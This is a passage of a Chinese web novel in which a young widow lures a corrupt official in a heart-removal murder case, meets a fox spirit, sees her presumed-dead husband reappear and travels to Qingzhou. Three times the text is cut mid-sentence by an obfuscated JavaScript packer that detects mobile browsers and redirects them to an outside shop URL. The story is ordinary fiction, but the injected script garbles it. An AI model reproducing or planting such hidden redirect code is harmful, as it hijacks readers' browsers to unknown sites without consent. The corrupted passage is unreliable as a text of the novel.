其实过了这大半天,要不要帮大理寺三人这事在心中早有决断,此次摇签或许并非以寻求答案为目的,中吉也好下吉也罢,她只是想寻个安心,好让此行能多些底气。 劈里啪啦的声音如约响起,像某种或早或晚的宣判。 好一阵吵闹后却是无事发生,元和景忽然觉得厌倦,将签筒往桌上一放,室内登时陷入无边无际的静默中,就像某些已经落成的念头,再也无需旁的什么东西来佐证。 “罢了罢了,还不如早些睡觉。” 说着,元和景站起身来,捞过狐狸抱在怀里,报仇似的在那脑袋上薅了好几把,不顾它嗓音细细的控诉,心满意足后才转身上榻。 次日,给周子萧的信早上才送过去,下午便收到了回复,如此她也就不管不顾地放开手脚干起来—— 先是派人连夜给京城里几个有名的说书先生递了好处、再大张旗鼓地去寺院里请过好几场法事,暗中联系好的掏心案死者家属接连去县衙哭诉……未过三日,“祝少卿死不瞑目,掏心案另有蹊跷”的消息已传得人尽皆知了。 趁着这势头,元和景再次放出一个重磅消息:三日后,她那死去的夫君便会在夜里托梦给她,将掏心案的凶手如实告知。 这下可谓一石激起千层浪,全京城的人都等着少卿夫人揭晓掏心案的幕后真凶,而闹出这么大摊事的元和景本人则是老老实实缩在少卿府里,任谁来都说不在,否则应付她那个面子看得比钱重的爹还是个大麻烦。 有时她也感叹,幸好现下长姐去了云顶伽蓝,兄长也因公不在京城,不然她真得被拎回元府褪层皮不可。 三日之期转瞬即逝,当晚不过一个月黑风高的寻常夜。元和景早吩咐檀月带走狐狸,又在房间周围加强了护卫,虽然知道周子萧他们就守在外面,但闭上眼后却丝毫没有睡意,怀里揣着的那颗心脏扑通扑通狂跳不止。 无论如何,优先保证自己的安全,我们也会尽全力护好你。 这是周子萧回信中,她唯一记得的话。 四下无风,连鸟啼虫鸣都罕见地销声匿迹,过分的安静下呼吸声也变得吵闹,恍惚间仿佛时间也停止了流逝。元和景将全部注意力都集中于五感之上,心想只要稍有风吹草动,就立刻握住藏在被子里的匕首。 遥遥一声“丑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956995|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时到”传入耳,突兀地插进这片幽若寒潭的静默中,却溺水般的再无其他动静。 元和景费尽心思造出这么大声势,为的就是引齐竟上钩,再联合大理寺三人将其一网打尽,可没想到他这么沉得住气,难道真不怕掏心案闹得无法收场吗? 思及此,元和景再按捺不住内心的躁动,猛地睁开了眼,却刚好对上床顶上两个泛着白光的圆点…… 眼睛迅速地适应了黑暗,她也正好看清那并非普通光点,而是双幽幽发亮的眼睛。 对上元和景的视线,那双眼不紧不慢地眨动了一下,明暗闪烁间,一张栩栩如生的狐狸脸似乎正对着她咧嘴笑。 “这位小娘子,好久不见!” 心跳骤停的瞬间,只有尖叫声随着血压一股脑地冲到最高,元和景只想循着原始的冲动将恐惧一股脑发泄出来,而下一刻,带着凉意的手速度极快地捏住了她的双唇。 没错……是捏! “唔唔……唔!” 只见那狐狸不知何时已化作了人形,正是个坐在床边的姿势,右手还帮她维持着鸭子嘴,另一只则抬起来摸了摸额头,语气散漫:“别叫,吵得我耳朵疼。” 元和景听到后立马噤声,不挣扎也不叫了。 对方似乎惊讶于她的顺从,满意地点点头,而后松开手。 元和景:“啊啊啊啊啊啊啊——” 胡陆顿时想杀她的心都有了。 顾及到此行的目的,他还是皱着眉勉强捱过这场耳朵的浩劫,但虽说不下死手,埋怨总是少不了的:“你们人族天天吵着要抓狐妖,现在见到狐妖了却又这副怕得要死的样子,呵。” 元和景瞪大眼睛:“你是狐妖?” 胡陆:“很难看出来吗?” “啊啊啊唔……” 胡陆忍无可忍地怒道:“再叫就杀了你!” 元和景被吓得浑身一激灵,忙把嘴巴闭紧。不过胡陆不会再上当,捏住后就没再松手,为表示友好还特意解释:“放心,我不会杀你,就是来向你打听点事。” 吓也吓过叫也叫过,元和景总算能找回几分神智,本想问是什么事,但嘴巴还被捏着动都动不得,她只好拼命瞪大眼睛示意,先把手松开。 “保证不再叫?” “嗯嗯嗯……”元和景忙不迭点头,就差张嘴说话了。 胡陆刚松开,她便嘴巴飞快地抢先道:“所以掏心案是你干的?” 又被摆一道的某人显然非常不爽,没好气答:“不是,我没那么无聊。” “哦。”这个结果也不怎么出人意料,看来掏心案八成就是齐竟和县衙勾结所致。现下元和景看似还在自己房间里,但八成是被这狐妖带进什么幻境里了,也不知道外面的情况如何。 借着朦胧月色看清对方容貌后,她便坚信了此人是狐妖的说法。和民间奇闻志怪里说得差不多,肤白若冬雪眼尾翘似勾,眉目竟比那异域来访的侍者还要深邃上几分,抹绿色长袍间浮动着流金暗纹,腰侧还挂一块剔透的白玉,满身贵气得像是哪家府上的小公子。 似是发现元和景的不专心,胡陆慢慢勾唇,露出个有些恶劣的笑:“不过呢,你大婚当晚的万鬼贺曲,可都是出自我之手。” 元和景:“……原来你们管那叫贺曲啊,我还以为是哭丧呢。” “怎么,不喜欢?” 见他凤眼一凝的样子,元和景立马缩起脖子,很没有骨气地点头:“喜欢喜欢。” “罢了,不逗你了。”胡陆看起来心情颇好,说着便倾下身子,缓缓朝她靠近。元和景连忙戒备地后退,却收到对方带着鄙夷的一眼。 “难不成狐妖不是掏心案凶手,却是个登徒子?” “呵,你倒是有趣。”胡陆丝毫没有被调侃的自觉,慢条斯理地坐直后便开门见山:“你身上沾的味道变淡了,那个人呢,他此时身在何处?” 元和景一头雾水:“什么人?” 胡陆周身迅速散发出阵阵凌厉的杀气,语气不善:“你前几日去见的人,也是我在找的人。” 7. 死人活现 元和景作出苦苦思索的模样,半晌后才面露不解地道:“可是我这几天待在家里哪也没去,你是不是找错人了啊?” 要说前些日子见过的人,无非是齐竟、纳兰卿,还有大理寺三个,元和景当然心知肚明,可她还不能说,无论让这狐妖再盯上哪一个,对于她都没有好处。 闻言,胡陆狭长的凤眼微微眯起,方才还算轻松的氛围顿时荡然无存,压抑而不详的气息扑面而来,元和景心知大事不妙,后背止不住地发凉。难道今日,她就要成为真正死于狐妖手中的第一人了吗? 有什么东西在脑海中忽而闪过,赶在那只柔弱无骨的手快掐上自己脖颈时,她急中生智大喊:“等等!” 胡陆挑眉,轻蔑地道:“还有遗言要说?” “不……不是。”元和景费劲地咽下口水,尽量让声音听起来有底气些,“你敢不敢跟我打个赌?” 胡陆轻飘飘的眼神看过来,其中满是不屑:“说来听听。” 元和景理直气壮地回道:“我不说,除非你先答应我。” 胡陆轻嗤一声,指尖抚上女子纤细而脆弱的颈,玩味地四处轻点,施施然道:“那你不如……下地府去和阎王爷赌。” 元和景被那几根指头冰得直想缩,却又撑着气势不想轻易认输,于是干脆闭上眼,做出一副视死如归的样子:“既如此,要杀要剐便随你……不过,我下辈子做鬼也不会放过你的!” 事到如今,她只希望这狐妖下手能利落点,莫要人在痛苦的边缘苦苦挣扎了。 死亡的滋味她还从未体验过,不过这降临的速度未免也太慢了点…… 迟迟没等来下一步动作,元和景忍不住睁开眼,却见胡陆已经将手收回。对上视线时,他莞尔一笑,举手投足间自是万般风情,道:“下辈子还早,我答应你。” 元和景如释重负地出了口气,再开口时嗓子已哑得不像话:“好,好……咳咳,是这样,我房里有个签筒……” 她边说边朝外看去,正好捕捉到桌面上沐着月光的事物,心里一喜,瞬间觉得这幻境还真是还原,连这些细节都能照搬无误。 “我们轮流摇签,如果我的签比你好,你就放我走,反之我就任你处置,怎么样?” 说完她就有些后悔了,就算赌运气自己也毫无胜算,毕竟这是在人家的幻境里,他想摇出什么签还不是轻而易举。 也不知胡陆有没有考虑到这一层,但他应得爽快,总给人不祥的预感。元和景不敢麻烦他去拿,忙掀了被子要下床,却见胡陆抬起手随意一扬,那签筒便跟生出翅膀似的自己飘了过来。 忘记他是妖,不需要这么大费周章了。 片刻恍惚后,签筒已经端端正正地立在了自己面前。对面的男人一脸闲适,道:“你先。” 心一横,元和景直截了当地端起签筒就开摇,脑子里努力回想过去摇出上上签的手法,可无一例外都是误打误撞,毫无技巧可言……看来现在也只能仰仗自己时坏时好的运气了。 木签落在被子上并未激起太大动静,却让元和景心头猛地跳了一下,胡陆信手将其捡起,扫过一眼后唇角笑意更浓,赞赏道:“手气不错。” “当真!”元和景登时眼睛都亮了起来,心想难不成心想事成了?当真是时来运转天助我也啊! “是上上、上吉,还是中吉?” 签子被正面朝上丢来,伴着胡陆轻描淡写的回答:“是下下签。” 好不容易燃起的希望被兜头浇灭,元和景硬气地翻了个大白眼:“……那祝你也有这样的好手气。” “呵。”胜券在握的局势让胡陆饶恕了她的大胆,指尖一点,签筒便听话地随着手势升起来,他幽幽地叹了口气,似笑非笑,“可还要赌?” 元和景背靠着床柱,有气无力地坐了个“请”的手势:“摇都摇了,不如让我死个明白。” 食指微转,轻柔得像是在绕几缕细若柔荑的发丝,而那签筒受到驱使,缓慢而规律地摇动起来。 那东西在眼前转得实在心烦,再加上些“反正都要死了不如破罐破摔”的心态,元和景毫不客气地埋怨:“按你这个速度得摇到猴年马……” “啪嗒”一声,灵签落下。 元和景只好悻悻地闭上嘴,眼疾手快地拿起签子,从头到脚地读过好几遍,才不可置信地道:“你……你竟然……” 这般吞吞吐吐的模样让胡陆也不由得在意起来:“别卖关子,快说!” 元和景一脸兴奋地将木签凑到对方脸上,笑声猖狂而肆意地传遍整个角落:“罚金签!你竟然抽到罚金签哈哈哈哈哈哈……” 这签筒里共有签六十支,其中属中平最多,上上签和下下签最少。而罚金签则是下下签的一种,这里面仅有两支。 不同于其他仅作预测结果或是建议警醒之用的签,罚金签不仅预示所求之事难得圆满,还暗示求签者近期言行有失,需通过“交罚金”来化解,因此比寻常下下签的结果更恶劣些。 胡陆气得一把夺过,掌心微微用力不出片刻,那根签便化作了齑粉。 元和景顿时有了不好的预感,忙问:“你答应了赌约就不能毁诺,再说了……你、你堂堂一介狐妖,竟然用这等卑劣手段欺骗我这个弱女子,就不怕遭天谴吗?” 胡陆抬起眸子,不紧不慢地朝她看过去,语调慵懒:“我就算是毁诺,那又如何?” 元和景后背一凉,心想完了。 如果连签筒都能复现出来的话,那提前藏在被子里的匕首应该也在,她心里想着,搭在被沿上的手悄无声息溜了进去。 反正最不济就是死在他手里,但如果试都不试一下,那就彻底没机会了。 手还在小心翼翼地摸索着,另一边的胡陆早就将这些小动作尽收眼底,他扬手一挥,周身似有什么东西无声碎裂开,方才还在面前的人立马消失得无影无踪,只有回音还一阵阵回荡在耳边—— “愿赌服输,有缘再会。” ……活下来了? 元和景不可置信地摸摸头又揉揉脸,还未来得及消化刚才的一切,周子萧的声音夹着风传来:“元小姐,你刚才去哪了?” “啊……”元和景赶紧回神,扭头朝声音来源望去,那边周子萧和贺均正在与一黑衣人对打。虽然势单力薄,但那黑衣人身手十分敏捷,出招也利落至极,两人默契配合也只是刚好抵挡,一时间胜负难分。 元和景深知此时贸然上前就是给他们添乱,所以迅速摸出匕首后就缩在角落一动不动,在床帘隐蔽下才敢探出个脑袋观察战况。 借着并不明朗的月色,那黑衣人灵活地在两人之间穿梭,进攻防守皆只在瞬息间完成。而周子萧和贺均也并未露出破绽,知晓一时占不了上风,便将其退路牢牢封住,不让对方有任何逃走的机会。 贺均又是一剑刺出,黑衣人趁势闪身躲避,却被身后的周子萧抓住时机,长剑堪堪擦过身前,却在颈间用力一挑,那张覆在黑衣人脸上的面纱顷刻间碎裂成两半。布帛飘落,齐竟的脸就这么暴露在大家面前。 “果然是你!”周子萧厉声道。 眼见此行败露,齐竟面上却毫无慌乱之色,义正言辞道:“本少卿今夜现身,乃是来捉拿造谣生事、扰乱治安者归案。” 说着,他手中闪着寒光的剑已然指向元和景:“祝少卿突遭不幸,眼下尸骨未寒,你便借着他的身份作出此等伤天害理之事……大理寺众人听令,速将元和景押入大理寺大牢!” 掷地有声的判决如一记重锤敲在每个人心上,周子萧和贺均虽归于祝长生手下,但作为大理寺人员,少卿的命令他们不敢不从。两人将剑柄握得更紧,却没有一个人动手。 冰冷森然的剑锋就在几步开外这么直直对着自己,元和景像是被定在原地似的动弹不得。见无人听令,齐竟又怒喝一声:“违令者,杀无赦。” 元和景心头一震,不可思议地看向周子萧,对方却是出乎意料的冷静,手中长剑仍在蓄势待发,空气也在这片僵持中悄然凝固起来。 呼吸间,有清朗明快的笑声自屋外突兀响起,来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956996|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人后背浸润在如练的月光中,迈步进门时好似踏月而来。齐竟从听到声音后就一脸惊恐地瞪大了眼睛,旁侧两人最先反应过来,抱拳齐声道:“少卿大人。” “偷换烈马加害同僚、设计掏心蓄意藏尸,勾结县衙欺瞒百姓,齐少卿所做之桩桩件件,恐怕才真当得起伤天害理一说吧。” “祝……祝长生,你怎么……” 元和景顿时骇然,可从那人轮廓分明的五官中,她竟品出几分熟悉感来。 迎着齐竟如临大敌的表情,祝长生不急不缓地接着道:“再说了,既是本少卿的夫人,这少卿的名头自是想用便用了,本少卿只当欣喜还来不及,齐少卿又何必介怀如此?” 齐竟还煞白着一张脸,连带说话气势也大不如前:“我才不管你夫妻二人怎样恩爱,方才你所说种种,可有证据?” 祝长生眉头微挑,语气含笑:“本少卿查案途中那匹突然失控的马,并非是客栈里常见的普通马,而是西域的乌孙马与中原马的混血,此事本少卿已向马商求证。而众所周知,当年西域进贡时带来五匹烈马,其中一匹便由陛下赏赐给了齐老将军,也便是齐少卿的父亲。” “你……” “本人自认为并未在何事上得罪齐少卿,却遭到这般设计,如此看来,就只能从你我二人共同探查的掏心案有关了。” “处处细节指向人为,齐少卿却一口断定狐妖为凶手,对受害人家属威逼利诱,还谎报掏心案的死伤人数,将多数尸体埋在周家坟,并捏造出此地藏有狐妖的传言让人不敢接近……这可都是你派去埋尸的手下亲口交代的,齐少卿难道还想抵赖?” 提及周家坟,元和景总算想起,眼前这个人,分明和那天在黑衣人手中救下她的男子长得一模一样! 手中长剑“哐镗”一声落了地,齐竟不可置信地摇摇头,忽然开始放声大笑,周子萧和贺均连忙摆出戒备姿态,元和景也不知他这是闹哪出,心跳还快得厉害,匕首自捏住后便没再松开过。 “你说得好听,可那又如何?我爹乃是护国大将军,我娘与当今太后情同手足,而你呢,不过是个无依无靠的光杆少卿,你能奈我何……嗯?” “呵……”瞧着那张面目狰狞的脸,祝长生不急反笑,眼底却是一片冰冷,“能耐你何?齐少卿不如去圣上面前一问便知。” “大理寺听令——” “在!” “将犯人齐竟押入大理寺,等候发落。” 周子萧和贺均利落地抱拳,高声应了句“是”,接着便朝齐竟大步走去。齐竟明显慌了神,从喉头压出一句“你们竟敢”,却还是难逃被两人架走的命运。 三人一齐从门口消失,连带着那些嘈杂的脚步声也归于寂静。正好云散雾开,皎洁而明亮的月光慷慨洒下,将那个颀长的身影勾勒得越发挺拔。 元和景一时很难描述此刻的心情,也不知该说些什么好,遥遥对视半刻,却见男人转身要走,于是她也顾不得其他,出声喊道:“祝长生?” 那侧影果然被叫停,祝长生转过头来,浸没在柔和月色下的脸并没有什么表情。很快,他轻声道:“时辰已晚,夫人早些歇息,本官先回大理寺。” “诶等等……” 见他一跨步走出屋子,元和景马不停蹄地下床穿鞋,外衣也没披便追了出去,可明暗交错的水榭楼台间,哪里还有人的影子? 凉风吹过激起身上一阵战栗,元和景张望了许久未果,只好嘟嘟哝哝地埋怨:“说死就死说活就活,你把人当猴耍呢?” 说话间,一声尖细柔弱的叫唤猝然入耳,元和景忙垂眸看去,小院里的石桌上,有只甩着尾巴的红狐狸正趴在上面望着她。 “你怎么在这,不是让你今晚跟檀月睡吗?”元和景边说边走了过去,俯身将其抱起,对方也乖巧地把脑袋歪进她怀里,还颇为惬意地打了个哈欠,一人一狐转身走进屋子。 像是被传染一般,元和景说着也开始打哈欠:“罢了罢了,是死是活明日大理寺一问便知,再不睡我就要……” 8. 和离危机 次日去了大理寺,却从周子萧口中得知祝长生根本没来的消息,只用密信向几人安排了掏心案后续事宜,至于为什么还不现身,连他们也不知道。 但能看到周家坟大坑里的尸体被尽数挖出认领,小梅和其他受害者也能得到应有的结果和补偿,元和景心里别提有多得意。可尾巴还没翘上几天,就被元敬瑭三催四请着要回门了。 之前因为祝长生的丧事,回门也就自然而然被推后,不过祝长生假死的消息还未公开,元敬瑭却急匆匆地要把她叫回去,究其原因,八成是对前些日子的大造声势兴师问罪,而非是思女心切了。 总算捱过这顿食不知味的家宴,母亲对这父女俩的关系也是无可奈何,末了只嘱咐她元纪辛和元纪宁快回来了,最近还是安分一些为好。 元和景最近也确实没有干大事的打算,因为江印月给她自己起了姻缘卦,卦象显示其真命天子就在青州,于是陪她去一趟的日程便这么草草定下。 阳春三月天,踏青赏花时。甫一下车,两人差点被青州的热闹繁华迷花了眼,大街小巷人来人往,吆喝叫卖声声不绝。过路人大多衣着艳丽,手中捻花,耳边也别花,卖首饰的小贩将年轻姑娘夸得眯着眼直笑,唇角月连着鬓边红,倒真称得上一句“人比花娇”! 既来了青州,自然是要体验一把当地特色的游湖项目。刚决定好,江印月又有了新提议:“你不觉得只有我们两个人游湖,有些无趣吗?” 元和景戳了戳趴在桌上的狐狸:“不是还有它么?” 江印月的表情转眼从期待变成无奈:“谁让你出来玩还带它的啊,好看是好看,但它能化形为一个貌美如花的男子陪我们游湖吗?” 这么一说,元和景就明白她的意思了,欣赏风景太过单调,自然要配上些美色作以调剂。略一思忖,她便答应下来,其实无非是叫两个人来吃吃东西说说话、再玩些逗趣的小游戏而已,她俩在京城时也没少干过。 这边是合计好了,可小狐狸却突然反对起来,又抓又咬着不肯进笼子,好不容易进去后还把铁栏敲得哐哐直响,嘴里哼哼唧唧叫个不停,就差说出人话了。 美景美男当前,元和景哪里还顾得上它,将其交给了游湖管事的先送到船上,两人兴冲冲地就直奔青州闻名遐迩的寻欢居而去。 直到带着两个粉面玉砌的男子上了船,元和景才猛然想到:“若是你真命天子见到你在此地寻欢作乐不务正业,这可怎么办?” 江印月此时正喝下一双纤纤玉指喂来的清酒,闻言满不在乎道:“他若是因此介怀,那便证明他不是我的真命天子,反正卦象上说那人会包容我的所有,自然也得包括我这点小爱好了。” 元和景觉得她所说不无道理,也就没再纠结。正午时分阳光刚好,船篷挡住大半热度,只将窗边的一块晒得暖意融融,坐在其中说笑打闹,再时不时看看外面的翠柳碧波,实在是惬意至极。 小舟推开轻浪,再同其他地方漾来的波纹撞上,船头负责摇橹的老先生是这片湖的老人,经过的船夫都要恭恭敬敬喊他一声叔。唇边忽然传来冰凉的触感,元和景回过神,发现是那个看起来更柔弱些的男子递来的。 见元和景看过来,他翘着兰花指,将那颗晶莹剔透的葡萄送得更近了些:“姑娘可是有什么心事,不妨告诉明影,让我为你排忧解难。” “没有没有……”元和景许久未见过这般含蓄内敛、柔而不媚的男子了,一时间还有些羞涩,刚张开嘴准备吃下,就听见旁边放着的笼子里又传来不知疲倦的抓挠哼唧声。 “这是……” “捡来的小东西,又离不了人,不必管它。”说着,元和景便将葡萄一口咬进嘴里,微凉的汁水炸开,留下满嘴沁人心脾的甜,她惬意地眯了眯眼睛,又道,“原来你叫明影。” 说着,她又看了看对面一袭墨色长袍、正给江印月擦拭的男人,问:“难不成他就叫黑影?” “姑娘可真会说笑。”明影抬手掩唇,笑声如琴音般悦耳,“他不叫黑影,不过若是姑娘喜欢,叫什么都行。” 元和景喜欢极了这副故意讨巧的模样,得寸进尺地问:“那你呢,也是叫什么都行?” 明影忽而羞怯地笑起来,阳光下几近透明的指尖又捻起一颗珠圆玉润的葡萄,缓缓递到她嘴边,声音柔得好似湖里的一汪春水:“那是自然。” 聊着聊着气氛逐渐热络,不知谁提议了来玩抛绣球的游戏,船上那颗缝着彩带的布艺摆件便理所应当成了道具。规则也很简单,一人丢球三人接,每人每轮至少颠球一次,而谁要是接到了,或是在他手里落了地,就必须罚酒。 元和景也许久未玩过这游戏,刚开始总找不到手感,反倒次次把明影伸到半空的手抓个正着,她尚可大大方方地道歉,可旁边的狐狸不知为何激动得很,在笼子里又抓又跳,像被什么邪物附身了似的。 “来啊来啊,姑娘快喝……” “再来!” 随着江印月的一个大力抛掷,明影顺势打出,绣球却朝着窗口方向而去,元和景眼疾手快地立马探身接住,球虽是保下了,却也让她就这么直挺挺地撞入对面船上那人的视线。 对方应是被这边的笑闹声惊动,酒杯还未放下就看了过来。那眼底的肃穆和正气太过熟悉,一个称呼冷不丁地便从脑海里蹦了出来—— 兄长…… 下意识地,她又往另一边瞥了眼,结果这下更不得了,原来是许久不见的长姐也在。 赶在对方作出反应前,元和景飞快地缩进船舱里,然后粗着嗓子朝船夫吩咐:“大叔,可否就近靠岸?” 只要跑得快,之后再死不承认,就没办法证明船上这个和外男花天酒地的人是自己了! 对面的江印月还在不明所以:“发生了什么事?” 元和景挤眉弄眼地暗示好几次,对方都没看懂,面上的疑惑之意反而更甚,无奈下她只好自暴自弃地摆摆手,示意晚些再说。 可连上天也没打算给她晚些说的机会,船家笑声爽朗,粗犷的嗓音更是极具穿透力:“大好风景还需细细品味,再加上这美男美酒当前,姑娘何必如此着急?” 元和景像是被雷劈了似的愣在原地,心头已是万念俱灰。而好巧不巧,一窗之外的另一艘船上,那个低沉严肃的男音紧接着传来: “元和景,自己出来。” 被蒙在鼓里的江印月也顿时恍然大悟,可再转过身时,脸上也是和元和景如出一辙的死到临头表情了。 半刻钟后,两艘提前归还的游船在港口整齐停靠,而不远处的岸边,两个姑娘整整齐齐地站在一身形高大的男子前。 元和景小心翼翼地看了眼正同明影说话的元纪宁,收回目光后仍是一语不发,只有江印月强撑着笑脸寒暄道:“竟然是元大哥,真巧啊,竟然能在这里碰见你和纪宁姐姐,哈哈哈……” “我从随州办完公事,返程时收到长姐正停留青州的消息,于是约在此地汇合,明日一同回京。” “原来如此,原来如此……” 江印月说完又干巴巴地笑几声,本想着调节氛围,可看见其余两人都是一脸紧绷时,又连忙收了回去。 空气突然陷入凝滞,就连那叮叮咚咚的白浪拍岸声都显得多余起来,但即便如此,元和景还是一语未发,就连看这位久未谋面的兄长也不过轻飘飘一眼。 身为长史总免不了外出审查,再加上幼年随父母南征北战,元纪辛的皮肤是不同于两姐妹的小麦色。身高八尺,肩宽腰窄,斜飞入鬓的一双眉显得很是英气,也正呼应眼底那片幽暗沉静的潭,就连今日穿的墨蓝常服,也是他一贯喜爱的款式。 元和景被这人板着脸训斥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956997|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的次数早就多得数不清,可这些都不算什么,让她反感的,是他那在元敬瑭殷切栽培下生出的气质,和那副总是为你好的高高在上姿态。 无趣、压抑,令人讨厌…… 元和景一直偏着脸,因而并未注意到对方频频落在自己身上的目光,待元纪宁交代完回来后,元纪辛突然出声斥了句“胡闹”,接着一甩手走了。 得姐姐一声唤,元和景才转过头来看,嘴巴一撇,没什么感情地问:“他怎么走这么快,难不成被我气跑了?” 元纪宁叹了口气,无奈道:“他是你兄长,怎会轻易同你置气?堂堂长史来到青州,自然要上县衙向知县知会一声的,哪有你想的这般清闲。” “哦。”元和景毫无忏悔之意,“反正家里就我最清闲。” 元纪宁摆出长姐的架子,没好气道:“我看你倒是一点不闲,那两个男子、还有这笼子里的狐狸,以及非履行不可的婚约……” “我现在,是不是也该尊称你一声少卿夫人啊?” “不敢当不敢当。”元和景连忙将头摇成了拨浪鼓,老老实实地挨个解释,“男子是江印月找的、狐狸是我在外面捡的,至于婚约……” 终究还是自己不占理,声音也逐渐低下去,到最后已成了嘟哝:“反正就是履行了。” “你这傻孩子,怎能拿自己的婚姻大事当儿戏?” 元纪宁一边带着两个姑娘往外走,一边苦口婆心地劝:“那祝长生大婚前夕突遭变故,死讯当天已传遍京城。父亲虽是最要面子,但定不愿你余生孤苦,而那祝老夫人也并非不通情理之人,解除婚约非是难事,你又为何如此执拗?” 往事种种浮现心头,元和景有些挫败地道:“你们是元老将军的一对好儿女,而我就是个多余的,他一贯不待见我,那我便走得远远的,别招他烦。” 面对元纪宁,元和景总是更容易坦诚些,类似的话她也说过不止一次,元纪宁自然能知晓她的心绪。 “都长这么大了,还跟小时候一样。”元纪宁像是想到些什么,目光也变得柔和起来,“可还记得小时候你问我,为什么你的名字和我们的不一样时,我是如何回答你的?” 元和景挠着头仔细回忆了下,然后才说:“你当时说,因为你和兄长生于战乱年代,而爹娘作为冲锋陷阵的将军,边关一去就是十几年。母亲给你们取这样的名字,是希望自己牢记职责,将战事早日结束,还百姓一片安宁。” 元纪宁欣慰地点点头,接下她的话继续娓娓道来;“而在你出生时,已是天下太平,处处好景。给你取这个名字,不仅代表当初的愿望已经实现,也把对将来的祝愿,全凝在‘和景’这两个字上了。” “如此,你还觉得自己多余吗?” 元和景不自在地垂下头,半晌才左右摇了摇。 “父亲确实严厉,可有时他的话也并非全无道理。他身为父亲,怎会不关心自己的女儿?见婚约一事拦不住,他便连夜写信叫我回来劝你,即便父亲的行事作风你有多不喜,但也不能因此就连家,和自己的终身幸福都不要了。” 见着妹妹一脸丧气的样子,元纪宁轻轻拉起她的手,安抚地拍了拍,循循善诱道:“回家后我去同祝老夫人说,与祝长生和离可好?” 元和景心里五味杂陈,想说些什么却是无从开口,末了只能很小幅度地点了点头:“嗯。” 就在这时,被身后仆人提着的笼子忽然传出沉闷的撞击声,是那狐狸不知怎的又上蹿下跳起来,一副牟足了劲要把笼子撞开个洞的架势。仆人已然拿不住笼子,放下时差点被带着摔一跤。 许是有意缓和一下氛围,元纪宁打趣道:“你捡的这狐狸今日是怎么了?不知道的还以为它娘子要被人拐跑了呢。” “怎么会……”元和景也跟着笑起来,“它哪来的什么娘子啊。” 9. 引祸上身 如此说笑一阵后,方才的严肃感已消解不少。元纪宁去吩咐下人打点,元和景便转身找江印月的踪影,好巧不巧看见远处的凉亭下,那一黑一白身影正围着江印月不知在说些什么。 “江姑娘,自我见你第一眼起,便对你一见倾心了。” “不求恩爱两不疑,但求日日伴左右,我愿意跟着姑娘,哪怕没有名分……” 越走近了,两人的话听得也越发清晰,江印月被夹在中间不知如何是好,虽说类似的事情她也听说过不少,但亲自撞上倒的的确确是头一回。 “你、你误会了……诶我不是那个意思,我还不考虑成家……” 和高门大户的夫人小姐们走动得多些,时不时就能听说这家的老爷纳了青楼女子为妾、或是那家的大夫人收了南风馆头牌为面首,这在有钱人看来是天大的笑话,可对于这些一无自由二无钱财的人来说,也算是飞上枝头了。 于是,能够被大人物看上,也就成了他们最梦寐以求的事之一。 可即便如此,也应当是你情我愿为先,这两人推推拉拉,与强买强卖又有何异? 元和景担心自己帮倒忙,就干脆搬来救兵,最后还是元纪宁出马把她解救了出来。 江印月还一脸心有余悸,元和景忍不住调笑道:“卦象说得真准,你的缘分果然在青州。” “去去去……”江印月丝毫不掩饰嫌弃,目睹着两男子很快被元纪宁劝走后又忍不住问,“他们怎么就听纪宁姐姐的话?” 元和景摇摇头,带着早已看透一切的淡然:“看见我姐手上那把扇子了吗?” 江印月很老实地答:“看见了……可那又如何?” “看上去是一把画了山水画的普通扇子,其实是我姐的独门武器,合可作剑展可封喉。要是他俩再不走,我姐那把扇子就要打开了。” 解决完麻烦,三人一起逛了胭脂铺和布匹店,分开前约好了明日返程时同行。待元和景与江印月带着狐狸回到客栈,正好也该是用晚膳的时候了。 只可惜说好的真命天子没找到,不务正业却被抓个现行,好歹客栈的饭菜还算可口,元和景罕见地食欲大开吃下好些,酒足饭饱后困意止不住上涌,两人没多说几句话就各自进了房间。 要说也是奇怪,今天分明发生这么多事,元和景却什么也没想地倒头就睡了。失去意识前她还记着将狐狸从笼子里放出来,可手脚如灌铅一般沉重,拽着她直直坠入往深不见底的梦境中。 最后她是被一阵冷风冻醒的。 背靠的是冰冷的木头柱子,双手被反剪着捆得严严实实,枯稻草也缓解不了身下地板的生硬硌人,客栈的窗大而明亮,不像现下眼前的破败铁窗,上面的几张蜘蛛网正在风中摇摇欲坠。 至此,元和景才终于明白,自己这是被绑架了! 还没来得及感叹一句时运不济,从身后传来的规律呼吸声让人不得不留意。元和景心中隐隐有了不好的预感,但总归是尚存了一丝侥幸心理,她用尚能活动的手掌去拍对方胳膊,尽量小声地道:“喂,醒醒。” 